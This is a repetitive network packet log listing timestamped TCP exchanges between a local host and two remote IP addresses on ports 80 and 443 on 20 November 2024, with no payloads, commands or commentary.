Nov 20, 2024 18:57:49.643726110 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.643913031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.643955946 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.643976927 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.644011974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.644663095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.644696951 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.644714117 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.644778013 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.645445108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.645498037 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.645667076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.646234035 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.646282911 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.646389008 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.646425962 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.647054911 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.647067070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.647092104 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.647111893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.647818089 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.647906065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.647924900 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.648078918 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.648705006 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.648721933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.648768902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.649447918 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.649486065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.649548054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.649585009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.650331974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.650368929 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.650438070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.650473118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.651089907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.651128054 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.651130915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.651166916 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.651876926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.651921988 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.651983023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.652102947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.652718067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.652791023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.652829885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.653558016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.653597116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.653606892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.653637886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.654382944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.654417992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.654484987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.654555082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.655225039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.655271053 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.655339003 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.655556917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.655996084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.656107903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.656112909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.656141996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.656780005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.656920910 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.656977892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.657610893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.657655001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.657869101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.657911062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.658416033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.658457041 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.658518076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.658756971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.659286022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.659301996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.659329891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.659348011 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.660032988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.660136938 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.660175085 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.660212994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.660831928 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.660912037 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.660970926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.661011934 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.661662102 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.661721945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.661981106 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.662022114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.662476063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.662545919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.662559986 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.662599087 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.663531065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.663543940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.663582087 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.663599968 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.664288044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.664328098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.664355040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.664401054 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.664557934 CET	443	49873	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.664582968 CET	443	49873	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.664627075 CET	49873	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.664639950 CET	443	49873	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.664824009 CET	443	49873	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.664865971 CET	49873	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.665070057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.665215015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.665245056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.665282965 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.665776014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.665816069 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.665931940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.665971041 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.666584015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.666606903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.666625977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.666640997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.667332888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.667377949 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.667412996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.667449951 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.667522907 CET	49873	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.667535067 CET	443	49873	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.667543888 CET	49873	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.667628050 CET	49873	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.667936087 CET	49888	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.667953968 CET	443	49888	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.668024063 CET	49888	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.668158054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.668174982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.668195009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.668215990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.668603897 CET	49888	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:49.668616056 CET	443	49888	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:49.668915987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.669045925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.669084072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.669755936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.669770002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.669810057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.670577049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.670620918 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.670777082 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.670815945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.671384096 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.671432018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.671499968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.671542883 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.672240973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.672353029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.672358036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.672399998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.673005104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.673095942 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.673119068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.673355103 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.673837900 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.673883915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.673944950 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.674030066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.674638987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.674674034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.674711943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.675625086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.675643921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.675673008 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.675690889 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.676278114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.676345110 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.676372051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.676403999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.677056074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.677171946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.677212954 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.677898884 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.677947044 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.678040028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.678138018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.678678036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.678700924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.678723097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.678756952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.679516077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.679588079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.679619074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.679656029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.680305958 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.680346012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.680346012 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.680377960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.681231976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.681273937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.681360006 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.681399107 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.681952000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.682077885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.682118893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.682756901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.682800055 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.682878971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.682917118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.683567047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.683608055 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.683685064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.683734894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.684418917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.684456110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.684463978 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.684489012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.685257912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.685276031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.685297966 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.685312033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.854959011 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.855021954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.855042934 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.855056047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.855360985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.855408907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.855513096 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.855562925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.856232882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.856290102 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.856322050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.856364012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.856990099 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.857040882 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.857067108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.857110977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.857975960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.857995987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.858031034 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.858057022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.858623981 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.858670950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.858743906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.858786106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.859452009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.859503031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.859544992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.859714031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.860214949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.860282898 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.860347986 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.860389948 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.861047983 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.861161947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.861218929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.861327887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.861839056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.861896038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.861938953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.861985922 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.863132000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.863145113 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.863193035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.863221884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.863792896 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.863871098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.863893032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.863936901 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.864315033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.864361048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.864577055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.864623070 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.865282059 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.865326881 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.865328074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.865365028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.865914106 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.865958929 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.866000891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.866039991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.866763115 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.866832972 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.866858006 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.866909981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.867582083 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.867645979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.867677927 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.867712975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.868474960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.868519068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.868545055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.868577957 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.869147062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.869184017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.869236946 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.869977951 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.870039940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.870095968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.870136976 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.870910883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.870970011 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.871033907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.871134996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.872112989 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.872148991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.872160912 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.872188091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.872451067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.872567892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.872584105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.872610092 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.873296976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.873317003 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.873364925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.874053955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.874108076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.874120951 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.874166012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.874859095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.874921083 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.874932051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.874958992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.875720978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.875804901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.875854969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.876466036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.876518011 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.876638889 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.876732111 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.877274036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.877330065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.877368927 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.877538919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.878168106 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.878217936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.878282070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.878328085 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.878875971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.878937960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.878984928 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.879021883 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.879705906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.879738092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.879786015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.880512953 CET	80	49794	185.215.113.206	192.168.2.6
